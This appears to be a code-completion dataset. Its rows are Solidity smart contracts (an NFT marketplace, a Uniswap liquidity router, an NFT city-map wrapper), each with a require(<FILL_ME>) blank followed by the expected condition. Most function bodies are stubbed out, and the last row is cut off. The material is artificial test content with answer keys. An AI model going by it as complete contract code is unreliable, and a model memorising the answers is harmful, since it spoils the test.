//uint256 private _duration = 1 days; // 1 days total auction length [seconds]
NFTBaseLike _nftBase; // ERC1155
ERC20TokenListLike _erc20s; // payment ERC20 Token List
//event
event Open(uint256 id,address indexed seller,bool isAuction,uint256 nftId,uint256 volume,address indexed erc20,uint256 price,uint256 start, uint256 end);
event Buy(uint256 id,address indexed buyer,uint256 amt);
event Clear(uint256 id);
event Cancel(uint256 id);
event Bid(uint256 id,address indexed guy, uint256 amount,uint256 end);
//event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
//event Transfer(address indexed from, address indexed to, uint256 value);
/* Keccak256
Open(uint256,address,bool,uint256,uint256,address,uint256) : 0x0e884c2228e2e8cc975ba6a7d1c29574c38bda6a723957411fd523ad0c03d04e
Buy(uint256,address,uint256) : 0x3b599f6217e39be59216b60e543ce0d4c7d534fe64dd9d962334924e7819894e
Clear(uint256) : 0x6e4c858d91fb3af82ec04ba219c6b12542326a62accb6ffac4cf87ba00ba95a3
Cancel(uint256) : 0x8bf30e7ff26833413be5f69e1d373744864d600b664204b4a2f9844a8eedb9ed
Bid(uint256,address,uint256,uint256) : 0x3138d8d517460c959fb333d4e8d87ea984f1cf15d6742c02e2955dd27a622b70
TransferSingle(address,address,address,uint256,uint256) : 0xc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62
Transfer(address,address,uint256) : 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef
*/
/**
* @dev feeTo address, ERC1155 Contract, ERC20 Payment Token List 설정
*/
constructor(NFTBaseLike nftBase_,ERC20TokenListLike erc20s_) {
}
/**
* @dev feeRatio 설정
*
* Requirements:
*
* - 100% 이하
*/
function setFeeRatio(uint256 feeRatio_) external onlyOwner {
}
function getFeeRatio() external view returns(uint256) {
}
/**
* @dev feeTo Address 설정
*
* Requirements:
*
* - not zero address
*/
function setFeeTo(address feeTo_) external onlyOwner {
}
function getFeeTo() external view returns(address) {
}
/**
* @dev auction 연장 시간 설정 [minites]
*
* Requirements:
*
*/
function setInterval(uint256 interval_) external onlyOwner {
}
function getInterval() external view returns(uint256) {
}
/**
* @dev auction 시간 설정 [minites]
*
* Requirements:
*
* - not zero
*/
/*
function setDuration(uint256 duration_) external onlyOwner {
require(duration_ > 0,"NFTMarket/duration_is_0");
_duration = duration_;
}
function getDuration() external view returns(uint256) {
return _duration;
}
*/
/**
* @dev open : 판매시작, NFT escrow , SaleData 등록
* args
* isAuction : true - auction, false - fixed_price
* nftId : ERC1155 mint token Id
* volume : 수량
* erc20 : payment ERC20 Token
* price : auction : starting price, fixed_price : sellig unit price
*
*
* Requirements:
*
* 수량(volume) > 1 인 경우 fixed_price 만 가능
* 수량 > 0, 가격 > 0
* 결제 ERC20 contract : ERC20TokenList 중의 하나
*
* Event : Open, TransferSingle(NFTBase)
*
* Return salesId
*/
function open(bool isAuction,uint256 nftId,uint256 volume,address erc20, uint256 price,uint256 start, uint256 end) public returns (uint256 id) {
}
/**
* @dev buy : 바로구매, 정산
* args
* id : saleId
* amt : 구매수량
* Requirements:
*
* auction이 아니고 (fixed_price 이어야)
* buyer가 확정되지 않아야 하고 (settle 되어지 않아야)
* 취소상태가 아니어야 함
*
* Event : Buy,TransferSingle(NFTBase),Transfer(ERC20)
*
*/
function buy(uint256 id,uint256 amt) public {
}
/**
* @dev bid : 경매 참여, ERC20 Token escrow, 경매시간 연장
* args :
* id : salesId
* amount : bidding 금액
* bidder = msg.sender
*
* Requirements:
*
* auction이고
* 취소상태가 아니고
* 경매 종료시간이 지나지 않아야 함
* bidding 금액이 기존 금액(첫 bidding인경우 seller가 제시한 금액)보다 커야함
*
* Event : Bid,Transfer(ERC20)
*/
function bid(uint256 id,uint256 amount) public {
}
/**
* @dev clear : 경매 정리, 정산
* args :
* id : salesId
* amount : bidding 금액
* bidder = msg.sender
*
* Requirements:
*
* id가 존재해야 하고
* auction이고
* 취소상태가 아니고
* 아직 정산되지 않아야 하고
* 경매 종료시간이 지나야 하고
* caller는 sales[id].seller 이어야 함
*
* Event : Clear,TransferSingle(NFTBase),Transfer(ERC20)
*/
function clear(uint256 id) public {
}
/**
* @dev cancel : 세일 취소, escrow 반환
* args :
* id : salesId
* amount : bidding 금액
* bidder = msg.sender
*
* Requirements:
* id가 존재해야 하고
* 취소상태가 아니고
* 이미 정산되지 않아야 하고
* 경매의 경우 Bidder가 없어야
* caller는 sales[id].seller 이어야 함
*
* Event : Cancel,TransferSingle(NFTBase)
*/
function cancel(uint256 id) public {
require(id <= _currentSalesId,"NFTMarket/sale_is_not_open");
require(!_sales[id].isCanceled,"NFTMarket/sale_already_cancelled");
require(!_sales[id].isSettled,"NFTMarket/sale_already_settled");
if (_sales[id].isAuction)
require(<FILL_ME>)
require(_msgSender() == _sales[id].seller, "NFTMarket/only_seller_can_cancel");
_sales[id].isCanceled = true;
_nftBase.safeTransferFrom(address(this),_sales[id].seller,_sales[id].nftId,_sales[id].volume,"");
emit Cancel(id);
}
/**
* @dev settle : 정산
* 1. 수수료 정산 : this -> feeTo
* 2. royalty 정산 : this -> creator
* 3. nft 오너쉽 정리 : this -> buyer
*
* args :
* id : salesId
* amt : number of nft in fixed-price buy or auction
*
* Requirements:
*
* - feeRatio + royaltyRatio < 100
*
* Event : TransferSingle(NFTBase), Transfer(ERC20)
*/
function settle(uint256 id,uint256 amt) private {
}
function getAuctionEnd(uint256 id) external view returns (uint256)
{
}
/**
* @dev getSaleData : SaleData Return
*/
function getSaleData(uint256 id) external view
returns (
address
,bool
,uint256
,uint256
,address
,uint256
,uint256
,address
,uint256
,uint256
,bool
,bool
) {
}
}
| _sales[id].buyer==address(0),"NFTMarket/auction_not_cancellable" | 341,370 | _sales[id].buyer==address(0) |
"NFTMarket/fee_+_royalty_>_100%" | // SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
import "./math/SafeMath.sol";
import "./token/IERC20.sol";
import "./access/Ownable.sol";
import "./token/IERC1155.sol";
import "./NFTBase.sol";
import "./ERC20TokenList.sol";
/**
*
* @dev Implementation of Market [지정가판매(fixed_price), 경매(auction)]
*
*/
// interface for ERC1155
interface NFTBaseLike {
function getCreator(uint256 id) external view returns (address);
function getRoyaltyRatio(uint256 id) external view returns (uint256);
function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external;
}
// interface for payment ERC20 Token List
interface ERC20TokenListLike {
function contains(address addr) external view returns (bool);
}
contract NFTMarket is Ownable
{
using SafeMath for uint256;
struct SaleData {
address seller;
bool isAuction; // auction true, fixed_price false
uint256 nftId; // ERC1155 Token Id
uint256 volume; // number of nft, volume >= 2 -> isAuction=false, remnant value : number decrease after buying
address erc20; // payment erc20 token
uint256 price; // auction : starting price, fixed_price : sellig unit price
uint256 bid; // bidding price
address buyer; // fixed_price : 구매자 auction : bidder, 최종구매자
uint256 start; // auction start time [unix epoch time] unit : sec
uint256 end; // auction expiry time [unix epoch time] unit : sec
bool isCanceled; // no buyer or no bidder 만 가능
bool isSettled; // 정산되었는지 여부
}
mapping (uint256 => SaleData) private _sales; //mapping from uint256 to sales data
uint256 private _currentSalesId = 0; //현재 salesId
uint256 private _feeRatio = 10; // 수수료율 100% = 100
address private _feeTo; // 거래수수료 수취주소
uint256 private _interval = 15 minutes; // additionl bidding time [seconds]
//uint256 private _duration = 1 days; // 1 days total auction length [seconds]
NFTBaseLike _nftBase; // ERC1155
ERC20TokenListLike _erc20s; // payment ERC20 Token List
//event
event Open(uint256 id,address indexed seller,bool isAuction,uint256 nftId,uint256 volume,address indexed erc20,uint256 price,uint256 start, uint256 end);
event Buy(uint256 id,address indexed buyer,uint256 amt);
event Clear(uint256 id);
event Cancel(uint256 id);
event Bid(uint256 id,address indexed guy, uint256 amount,uint256 end);
//event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
//event Transfer(address indexed from, address indexed to, uint256 value);
/* Keccak256
Open(uint256,address,bool,uint256,uint256,address,uint256) : 0x0e884c2228e2e8cc975ba6a7d1c29574c38bda6a723957411fd523ad0c03d04e
Buy(uint256,address,uint256) : 0x3b599f6217e39be59216b60e543ce0d4c7d534fe64dd9d962334924e7819894e
Clear(uint256) : 0x6e4c858d91fb3af82ec04ba219c6b12542326a62accb6ffac4cf87ba00ba95a3
Cancel(uint256) : 0x8bf30e7ff26833413be5f69e1d373744864d600b664204b4a2f9844a8eedb9ed
Bid(uint256,address,uint256,uint256) : 0x3138d8d517460c959fb333d4e8d87ea984f1cf15d6742c02e2955dd27a622b70
TransferSingle(address,address,address,uint256,uint256) : 0xc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62
Transfer(address,address,uint256) : 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef
*/
/**
* @dev feeTo address, ERC1155 Contract, ERC20 Payment Token List 설정
*/
constructor(NFTBaseLike nftBase_,ERC20TokenListLike erc20s_) {
}
/**
* @dev feeRatio 설정
*
* Requirements:
*
* - 100% 이하
*/
function setFeeRatio(uint256 feeRatio_) external onlyOwner {
}
function getFeeRatio() external view returns(uint256) {
}
/**
* @dev feeTo Address 설정
*
* Requirements:
*
* - not zero address
*/
function setFeeTo(address feeTo_) external onlyOwner {
}
function getFeeTo() external view returns(address) {
}
/**
* @dev auction 연장 시간 설정 [minites]
*
* Requirements:
*
*/
function setInterval(uint256 interval_) external onlyOwner {
}
function getInterval() external view returns(uint256) {
}
/**
* @dev auction 시간 설정 [minites]
*
* Requirements:
*
* - not zero
*/
/*
function setDuration(uint256 duration_) external onlyOwner {
require(duration_ > 0,"NFTMarket/duration_is_0");
_duration = duration_;
}
function getDuration() external view returns(uint256) {
return _duration;
}
*/
/**
* @dev open : 판매시작, NFT escrow , SaleData 등록
* args
* isAuction : true - auction, false - fixed_price
* nftId : ERC1155 mint token Id
* volume : 수량
* erc20 : payment ERC20 Token
* price : auction : starting price, fixed_price : sellig unit price
*
*
* Requirements:
*
* 수량(volume) > 1 인 경우 fixed_price 만 가능
* 수량 > 0, 가격 > 0
* 결제 ERC20 contract : ERC20TokenList 중의 하나
*
* Event : Open, TransferSingle(NFTBase)
*
* Return salesId
*/
function open(bool isAuction,uint256 nftId,uint256 volume,address erc20, uint256 price,uint256 start, uint256 end) public returns (uint256 id) {
}
/**
* @dev buy : 바로구매, 정산
* args
* id : saleId
* amt : 구매수량
* Requirements:
*
* auction이 아니고 (fixed_price 이어야)
* buyer가 확정되지 않아야 하고 (settle 되어지 않아야)
* 취소상태가 아니어야 함
*
* Event : Buy,TransferSingle(NFTBase),Transfer(ERC20)
*
*/
function buy(uint256 id,uint256 amt) public {
}
/**
* @dev bid : 경매 참여, ERC20 Token escrow, 경매시간 연장
* args :
* id : salesId
* amount : bidding 금액
* bidder = msg.sender
*
* Requirements:
*
* auction이고
* 취소상태가 아니고
* 경매 종료시간이 지나지 않아야 함
* bidding 금액이 기존 금액(첫 bidding인경우 seller가 제시한 금액)보다 커야함
*
* Event : Bid,Transfer(ERC20)
*/
function bid(uint256 id,uint256 amount) public {
}
/**
* @dev clear : 경매 정리, 정산
* args :
* id : salesId
* amount : bidding 금액
* bidder = msg.sender
*
* Requirements:
*
* id가 존재해야 하고
* auction이고
* 취소상태가 아니고
* 아직 정산되지 않아야 하고
* 경매 종료시간이 지나야 하고
* caller는 sales[id].seller 이어야 함
*
* Event : Clear,TransferSingle(NFTBase),Transfer(ERC20)
*/
function clear(uint256 id) public {
}
/**
* @dev cancel : 세일 취소, escrow 반환
* args :
* id : salesId
* amount : bidding 금액
* bidder = msg.sender
*
* Requirements:
* id가 존재해야 하고
* 취소상태가 아니고
* 이미 정산되지 않아야 하고
* 경매의 경우 Bidder가 없어야
* caller는 sales[id].seller 이어야 함
*
* Event : Cancel,TransferSingle(NFTBase)
*/
function cancel(uint256 id) public {
}
/**
* @dev settle : 정산
* 1. 수수료 정산 : this -> feeTo
* 2. royalty 정산 : this -> creator
* 3. nft 오너쉽 정리 : this -> buyer
*
* args :
* id : salesId
* amt : number of nft in fixed-price buy or auction
*
* Requirements:
*
* - feeRatio + royaltyRatio < 100
*
* Event : TransferSingle(NFTBase), Transfer(ERC20)
*/
function settle(uint256 id,uint256 amt) private {
SaleData memory sd = _sales[id];
uint256 amount = sd.isAuction ? sd.bid : sd.price*amt;
uint256 fee = amount.mul(_feeRatio).div(100);
address creator = _nftBase.getCreator(sd.nftId);
uint256 royaltyRatio = _nftBase.getRoyaltyRatio(sd.nftId);
require(<FILL_ME>)
uint256 royalty = amount.mul(royaltyRatio).div(100);
IERC20 erc20Token = IERC20(sd.erc20);
if(sd.isAuction) {
erc20Token.transfer(_feeTo,fee);
erc20Token.transfer(creator,royalty);
erc20Token.transfer(sd.seller,amount.sub(fee).sub(royalty));
} else {
erc20Token.transferFrom(_msgSender(),_feeTo,fee);
erc20Token.transferFrom(_msgSender(),creator,royalty);
erc20Token.transferFrom(_msgSender(),sd.seller,amount.sub(fee).sub(royalty));
}
_nftBase.safeTransferFrom(address(this),sd.buyer,sd.nftId,amt,"");
_sales[id].volume -= amt;
_sales[id].isSettled = (_sales[id].volume == 0);
}
function getAuctionEnd(uint256 id) external view returns (uint256)
{
}
/**
* @dev getSaleData : SaleData Return
*/
function getSaleData(uint256 id) external view
returns (
address
,bool
,uint256
,uint256
,address
,uint256
,uint256
,address
,uint256
,uint256
,bool
,bool
) {
}
}
| _feeRatio.add(royaltyRatio)<=100,"NFTMarket/fee_+_royalty_>_100%" | 341,370 | _feeRatio.add(royaltyRatio)<=100 |
"ajdhjah" | pragma solidity 0.6.12;
contract FarmETHRouter is OwnableUpgradeSafe {
using SafeMath for uint256;
mapping(address => uint256) public hardNerd;
address public _nerdToken;
address public _nerdWETHPair;
IFeeApprover public _feeApprover;
INerdVault public _nerdVault;
IWETH public _WETH;
address public _uniV2Factory;
address public _uniV2Router;
function initialize(address nerdToken) public initializer {
}
function refreshApproval() public {
}
event FeeApproverChanged(
address indexed newAddress,
address indexed oldAddress
);
fallback() external payable {
}
//this is only applied for pool 0: NERD-ETH
function addLiquidityETHOnlyForPool(
uint256 pid,
address payable to,
bool autoStake
) public payable {
}
//this is only applied for pool 0: NERD-ETH
function addLiquidityETHOnly(address payable to, bool autoStake)
public
payable
{
require(to != address(0), "Invalid address");
hardNerd[msg.sender] = hardNerd[msg.sender].add(msg.value);
uint256 buyAmount = msg.value.div(2);
require(buyAmount > 0, "Insufficient ETH amount");
require(<FILL_ME>)
_WETH.deposit{value: msg.value}();
(uint256 reserveWeth, uint256 reservenerd) = getPairReserves(
address(_nerdWETHPair)
);
uint256 outnerd = UniswapV2Library.getAmountOut(
buyAmount,
reserveWeth,
reservenerd
);
_WETH.transfer(_nerdWETHPair, buyAmount);
(address token0, address token1) = UniswapV2Library.sortTokens(
address(_WETH),
_nerdToken
);
IUniswapV2Pair(_nerdWETHPair).swap(
_nerdToken == token0 ? outnerd : 0,
_nerdToken == token1 ? outnerd : 0,
address(this),
""
);
_addLiquidityPool0(outnerd, buyAmount, to, autoStake);
}
function _addLiquidityForPool(
uint256 pid,
address pair,
uint256 nerdAmount,
address otherAddress,
uint256 otherAmount,
address payable to,
bool autoStake
) internal {
}
function _addLiquidityPool0(
uint256 nerdAmount,
uint256 wethAmount,
address payable to,
bool autoStake
) internal {
}
function changeFeeApprover(address feeApprover) external onlyOwner {
}
function getLPTokenPerEthUnit(uint256 ethAmt)
public
view
returns (uint256 liquidity)
{
}
function getPairReserves(address _pair)
internal
view
returns (uint256 wethReserves, uint256 otherTokenReserves)
{
}
}
| address(_WETH)!=address(0),"ajdhjah" | 341,433 | address(_WETH)!=address(0) |
null | // contracts/Wrapper.sol
pragma solidity ^0.8.10;
interface Cities {
function cityNames(uint id) external view returns (bytes8);
}
interface Ethz {
function players(uint id) external view returns (address etherAddress, string memory name, uint treasury,
uint capitol, uint numCities, uint numUnits, uint lastTimestamp);
function numCities() external view returns (uint numCities);
function getCity(uint cityID) external view returns (uint owner, string memory cityName, bool[5] memory buildings,
uint[10] memory units, uint[2] memory rowcol, int previousID, int nextID);
function map(uint row, uint col) external view returns (uint playerID);
function setOwner(uint cityID, uint owner) external;
function setName(uint cityID, string calldata name) external;
function setUnit(uint cityID, uint i, uint unitType) external;
function setPreviousID(uint cityID, int previousID) external;
function setNextID(uint cityID, int nextID) external;
function setRowcol(uint cityID, uint[2] calldata rowcol) external;
function setMap(uint row, uint col, uint ind) external;
function setBuilding(uint cityID, uint buildingType) external;
function pushCity() external;
function setNumCities(uint nc) external;
}
contract Wrapper is ERC721Enumerable, Ownable {
//0.88 eth
uint256 public mintAmount = 880000000000000000;
address payable public vault1 = payable(0x32792cC3aeb2e796202Ad830C5184feD849d76dA);
address payable public vault2 = payable(0x04329C5aE62fe7A4B1e5ee8fD5B99E861934f105);
address payable public vault3 = payable(0xd73F16f12117a08492097C0C1cD0f10Cf0bBc1e4);
address payable public vault4 = payable(0x364762CA0e5922Aa64c102EB8F0602ffA9123a0D);
//list of frontend (ideally ipfs or other decentral storage) URIs
string[] fe;
Ethz public base;
address public baseAddress = address(0xb40d0312BaC389AE0a05053020Aac80c9237358B);
Cities public cities;
address public citiesAddress = address(0xcbA79e9e16Ae2C5DFdBCE9ed169a06057B3BD2A1);
//tokenIds on the map
uint16[34][34] public nfts;
//cityIds+1 from base contract on the map
uint16[34][34] public map;
//tokenId to row, col
mapping(uint => uint[2]) public position;
mapping(uint16 => uint16) public tokenIdToCityId;
//tokenId to city buildings
mapping(uint16 => bool[5]) public idToBuildings;
//tokens per quadrant, for north-west quadrant less are available (289-49=240) as 49 (numCitiesOriginal) already exist
uint16 tokensPerQuadrant = 289;
//number of cities already existing in the base contract.
//WARNING !!! IF CHANGED change initCounters method
uint16 numCitiesOriginal = 49;
//tokenId counters for civ types (1st dimension), building types (2nd dimension)
uint16[4][4] public counters;
//tokenId counter limits for civ types (1st dimension), building types (2nd dimension)
uint16[4][4] counterLimits;
//mapping of 0,1,2,3 (farm, stables, woodworks, metalworks) to original base contract codes
uint16[] buildingTypes = [1, 4, 2, 3];
/*uint16 public jG;
uint16 public uG;
uint16 public offsetG;*/
constructor() ERC721("Wrapped Etherization", "WETHZ") {
}
function sweep() public {
}
//helper method for users to decode the city owner uint in base contract back to the address
function uint160ToAddress(uint160 x) public pure returns (address) {
}
function _baseURI() internal pure override returns (string memory) {
}
function contractURI() public pure returns (string memory) {
}
function getFrontend(uint version) public view returns (string memory) {
}
function getFrontendListLength() public view returns (uint) {
}
function addFrontend(string calldata uri) public onlyOwner {
}
function getMap() public view returns (uint16[34][34] memory) {
}
function getNfts() public view returns (uint16[34][34] memory) {
}
//if start method was used in the base contract, allow map update in the wrapper
function setMap(uint16 cityId) public onlyOwner {
}
function wrap(uint16 cityId) public {
uint owner;
uint[2] memory rowcol;
address ownerAddress;
require(cityId < numCitiesOriginal);
(owner,,,,rowcol,,) = base.getCity(cityId);
//check if already wrapped
require(<FILL_ME>)
(ownerAddress,,,,,,) = base.players(owner);
//check that the city owner is msg.sender
require(ownerAddress == msg.sender);
base.setOwner(cityId, uint256(uint160(msg.sender)));
(owner,,,,,,) = base.getCity(cityId);
//check that writing to the base contract succeeded
require(owner == uint256(uint160(msg.sender)));
tokenIdToCityId[cityId+1] = cityId;
position[cityId+1] = rowcol;
nfts[rowcol[0]][rowcol[1]] = cityId+1;
_mint(msg.sender, cityId+1);
}
//for cities built using base contract start method but not in the historic set
function wrapNew(uint16 cityId) public {
}
function mint(uint row, uint col)
public payable returns (uint256)
{
}
function _quadrantFromRowCol(uint row, uint col) internal pure returns (uint16) {
}
//i = counter row (quadrant, ie civ type)
function _randomOffset(uint16 i) internal view returns (uint16) {
}
function _initMap() internal {
}
function _initIdToBuildings() internal {
}
//initialize the tokenId counters based on building rarity %
function _initCounters() internal {
}
function _transfer(
address from,
address to,
uint256 tokenId
) internal override {
}
}
| nfts[rowcol[0]][rowcol[1]]==0 | 341,487 | nfts[rowcol[0]][rowcol[1]]==0 |
null | // contracts/Wrapper.sol
pragma solidity ^0.8.10;
interface Cities {
function cityNames(uint id) external view returns (bytes8);
}
interface Ethz {
function players(uint id) external view returns (address etherAddress, string memory name, uint treasury,
uint capitol, uint numCities, uint numUnits, uint lastTimestamp);
function numCities() external view returns (uint numCities);
function getCity(uint cityID) external view returns (uint owner, string memory cityName, bool[5] memory buildings,
uint[10] memory units, uint[2] memory rowcol, int previousID, int nextID);
function map(uint row, uint col) external view returns (uint playerID);
function setOwner(uint cityID, uint owner) external;
function setName(uint cityID, string calldata name) external;
function setUnit(uint cityID, uint i, uint unitType) external;
function setPreviousID(uint cityID, int previousID) external;
function setNextID(uint cityID, int nextID) external;
function setRowcol(uint cityID, uint[2] calldata rowcol) external;
function setMap(uint row, uint col, uint ind) external;
function setBuilding(uint cityID, uint buildingType) external;
function pushCity() external;
function setNumCities(uint nc) external;
}
contract Wrapper is ERC721Enumerable, Ownable {
//0.88 eth
uint256 public mintAmount = 880000000000000000;
address payable public vault1 = payable(0x32792cC3aeb2e796202Ad830C5184feD849d76dA);
address payable public vault2 = payable(0x04329C5aE62fe7A4B1e5ee8fD5B99E861934f105);
address payable public vault3 = payable(0xd73F16f12117a08492097C0C1cD0f10Cf0bBc1e4);
address payable public vault4 = payable(0x364762CA0e5922Aa64c102EB8F0602ffA9123a0D);
//list of frontend (ideally ipfs or other decentral storage) URIs
string[] fe;
Ethz public base;
address public baseAddress = address(0xb40d0312BaC389AE0a05053020Aac80c9237358B);
Cities public cities;
address public citiesAddress = address(0xcbA79e9e16Ae2C5DFdBCE9ed169a06057B3BD2A1);
//tokenIds on the map
uint16[34][34] public nfts;
//cityIds+1 from base contract on the map
uint16[34][34] public map;
//tokenId to row, col
mapping(uint => uint[2]) public position;
mapping(uint16 => uint16) public tokenIdToCityId;
//tokenId to city buildings
mapping(uint16 => bool[5]) public idToBuildings;
//tokens per quadrant, for north-west quadrant less are available (289-49=240) as 49 (numCitiesOriginal) already exist
uint16 tokensPerQuadrant = 289;
//number of cities already existing in the base contract.
//WARNING !!! IF CHANGED change initCounters method
uint16 numCitiesOriginal = 49;
//tokenId counters for civ types (1st dimension), building types (2nd dimension)
uint16[4][4] public counters;
//tokenId counter limits for civ types (1st dimension), building types (2nd dimension)
uint16[4][4] counterLimits;
//mapping of 0,1,2,3 (farm, stables, woodworks, metalworks) to original base contract codes
uint16[] buildingTypes = [1, 4, 2, 3];
/*uint16 public jG;
uint16 public uG;
uint16 public offsetG;*/
constructor() ERC721("Wrapped Etherization", "WETHZ") {
}
function sweep() public {
}
//helper method for users to decode the city owner uint in base contract back to the address
function uint160ToAddress(uint160 x) public pure returns (address) {
}
function _baseURI() internal pure override returns (string memory) {
}
function contractURI() public pure returns (string memory) {
}
function getFrontend(uint version) public view returns (string memory) {
}
function getFrontendListLength() public view returns (uint) {
}
function addFrontend(string calldata uri) public onlyOwner {
}
function getMap() public view returns (uint16[34][34] memory) {
}
function getNfts() public view returns (uint16[34][34] memory) {
}
//if start method was used in the base contract, allow map update in the wrapper
function setMap(uint16 cityId) public onlyOwner {
}
function wrap(uint16 cityId) public {
}
//for cities built using base contract start method but not in the historic set
function wrapNew(uint16 cityId) public {
}
function mint(uint row, uint col)
public payable returns (uint256)
{
//token id
uint16 id;
uint cityId;
//counter row (civ type)
uint16 i;
//offset that indexes token counter's 2nd dimension (building type)
uint16 offset;
require(msg.value == mintAmount);
//require that the tile is empty
require(<FILL_ME>)
require(base.map(row, col) == 0);
i = _quadrantFromRowCol(row, col);
offset = _randomOffset(i);
id = counters[i][offset];
counters[i][offset]++;
cityId = base.numCities();
base.pushCity();
base.setOwner(cityId, uint256(uint160(msg.sender)));
base.setName(cityId, string(abi.encodePacked(cities.cityNames(id))));
base.setUnit(cityId, 0, 1);
base.setRowcol(cityId, [row,col]);
base.setPreviousID(cityId, -1);
base.setNextID(cityId, -1);
base.setMap(row, col, cityId+1);
base.setBuilding(cityId, buildingTypes[offset]);
base.setNumCities(cityId+1);
//check that writing to the base contract was successful
require(base.numCities() > cityId);
idToBuildings[id] = [false, false, false, false, false];
idToBuildings[id][offset] = true;
tokenIdToCityId[id] = uint16(cityId);
position[id] = [row, col];
nfts[row][col] = id;
map[row][col] = uint16(cityId+1);
_mint(msg.sender, id);
return id;
}
function _quadrantFromRowCol(uint row, uint col) internal pure returns (uint16) {
}
//i = counter row (quadrant, ie civ type)
function _randomOffset(uint16 i) internal view returns (uint16) {
}
function _initMap() internal {
}
function _initIdToBuildings() internal {
}
//initialize the tokenId counters based on building rarity %
function _initCounters() internal {
}
function _transfer(
address from,
address to,
uint256 tokenId
) internal override {
}
}
| nfts[row][col]==0&&map[row][col]==0 | 341,487 | nfts[row][col]==0&&map[row][col]==0 |
null | // contracts/Wrapper.sol
pragma solidity ^0.8.10;
interface Cities {
function cityNames(uint id) external view returns (bytes8);
}
interface Ethz {
function players(uint id) external view returns (address etherAddress, string memory name, uint treasury,
uint capitol, uint numCities, uint numUnits, uint lastTimestamp);
function numCities() external view returns (uint numCities);
function getCity(uint cityID) external view returns (uint owner, string memory cityName, bool[5] memory buildings,
uint[10] memory units, uint[2] memory rowcol, int previousID, int nextID);
function map(uint row, uint col) external view returns (uint playerID);
function setOwner(uint cityID, uint owner) external;
function setName(uint cityID, string calldata name) external;
function setUnit(uint cityID, uint i, uint unitType) external;
function setPreviousID(uint cityID, int previousID) external;
function setNextID(uint cityID, int nextID) external;
function setRowcol(uint cityID, uint[2] calldata rowcol) external;
function setMap(uint row, uint col, uint ind) external;
function setBuilding(uint cityID, uint buildingType) external;
function pushCity() external;
function setNumCities(uint nc) external;
}
contract Wrapper is ERC721Enumerable, Ownable {
//0.88 eth
uint256 public mintAmount = 880000000000000000;
address payable public vault1 = payable(0x32792cC3aeb2e796202Ad830C5184feD849d76dA);
address payable public vault2 = payable(0x04329C5aE62fe7A4B1e5ee8fD5B99E861934f105);
address payable public vault3 = payable(0xd73F16f12117a08492097C0C1cD0f10Cf0bBc1e4);
address payable public vault4 = payable(0x364762CA0e5922Aa64c102EB8F0602ffA9123a0D);
//list of frontend (ideally ipfs or other decentral storage) URIs
string[] fe;
Ethz public base;
address public baseAddress = address(0xb40d0312BaC389AE0a05053020Aac80c9237358B);
Cities public cities;
address public citiesAddress = address(0xcbA79e9e16Ae2C5DFdBCE9ed169a06057B3BD2A1);
//tokenIds on the map
uint16[34][34] public nfts;
//cityIds+1 from base contract on the map
uint16[34][34] public map;
//tokenId to row, col
mapping(uint => uint[2]) public position;
mapping(uint16 => uint16) public tokenIdToCityId;
//tokenId to city buildings
mapping(uint16 => bool[5]) public idToBuildings;
//tokens per quadrant, for north-west quadrant less are available (289-49=240) as 49 (numCitiesOriginal) already exist
uint16 tokensPerQuadrant = 289;
//number of cities already existing in the base contract.
//WARNING !!! IF CHANGED change initCounters method
uint16 numCitiesOriginal = 49;
//tokenId counters for civ types (1st dimension), building types (2nd dimension)
uint16[4][4] public counters;
//tokenId counter limits for civ types (1st dimension), building types (2nd dimension)
uint16[4][4] counterLimits;
//mapping of 0,1,2,3 (farm, stables, woodworks, metalworks) to original base contract codes
uint16[] buildingTypes = [1, 4, 2, 3];
/*uint16 public jG;
uint16 public uG;
uint16 public offsetG;*/
constructor() ERC721("Wrapped Etherization", "WETHZ") {
}
function sweep() public {
}
//helper method for users to decode the city owner uint in base contract back to the address
function uint160ToAddress(uint160 x) public pure returns (address) {
}
function _baseURI() internal pure override returns (string memory) {
}
function contractURI() public pure returns (string memory) {
}
function getFrontend(uint version) public view returns (string memory) {
}
function getFrontendListLength() public view returns (uint) {
}
function addFrontend(string calldata uri) public onlyOwner {
}
function getMap() public view returns (uint16[34][34] memory) {
}
function getNfts() public view returns (uint16[34][34] memory) {
}
//if start method was used in the base contract, allow map update in the wrapper
function setMap(uint16 cityId) public onlyOwner {
}
function wrap(uint16 cityId) public {
}
//for cities built using base contract start method but not in the historic set
function wrapNew(uint16 cityId) public {
}
function mint(uint row, uint col)
public payable returns (uint256)
{
//token id
uint16 id;
uint cityId;
//counter row (civ type)
uint16 i;
//offset that indexes token counter's 2nd dimension (building type)
uint16 offset;
require(msg.value == mintAmount);
//require that the tile is empty
require(nfts[row][col] == 0 && map[row][col] == 0);
require(<FILL_ME>)
i = _quadrantFromRowCol(row, col);
offset = _randomOffset(i);
id = counters[i][offset];
counters[i][offset]++;
cityId = base.numCities();
base.pushCity();
base.setOwner(cityId, uint256(uint160(msg.sender)));
base.setName(cityId, string(abi.encodePacked(cities.cityNames(id))));
base.setUnit(cityId, 0, 1);
base.setRowcol(cityId, [row,col]);
base.setPreviousID(cityId, -1);
base.setNextID(cityId, -1);
base.setMap(row, col, cityId+1);
base.setBuilding(cityId, buildingTypes[offset]);
base.setNumCities(cityId+1);
//check that writing to the base contract was successful
require(base.numCities() > cityId);
idToBuildings[id] = [false, false, false, false, false];
idToBuildings[id][offset] = true;
tokenIdToCityId[id] = uint16(cityId);
position[id] = [row, col];
nfts[row][col] = id;
map[row][col] = uint16(cityId+1);
_mint(msg.sender, id);
return id;
}
function _quadrantFromRowCol(uint row, uint col) internal pure returns (uint16) {
}
//i = counter row (quadrant, ie civ type)
function _randomOffset(uint16 i) internal view returns (uint16) {
}
function _initMap() internal {
}
function _initIdToBuildings() internal {
}
//initialize the tokenId counters based on building rarity %
function _initCounters() internal {
}
function _transfer(
address from,
address to,
uint256 tokenId
) internal override {
}
}
| base.map(row,col)==0 | 341,487 | base.map(row,col)==0 |
null | // contracts/Wrapper.sol
pragma solidity ^0.8.10;
interface Cities {
function cityNames(uint id) external view returns (bytes8);
}
interface Ethz {
function players(uint id) external view returns (address etherAddress, string memory name, uint treasury,
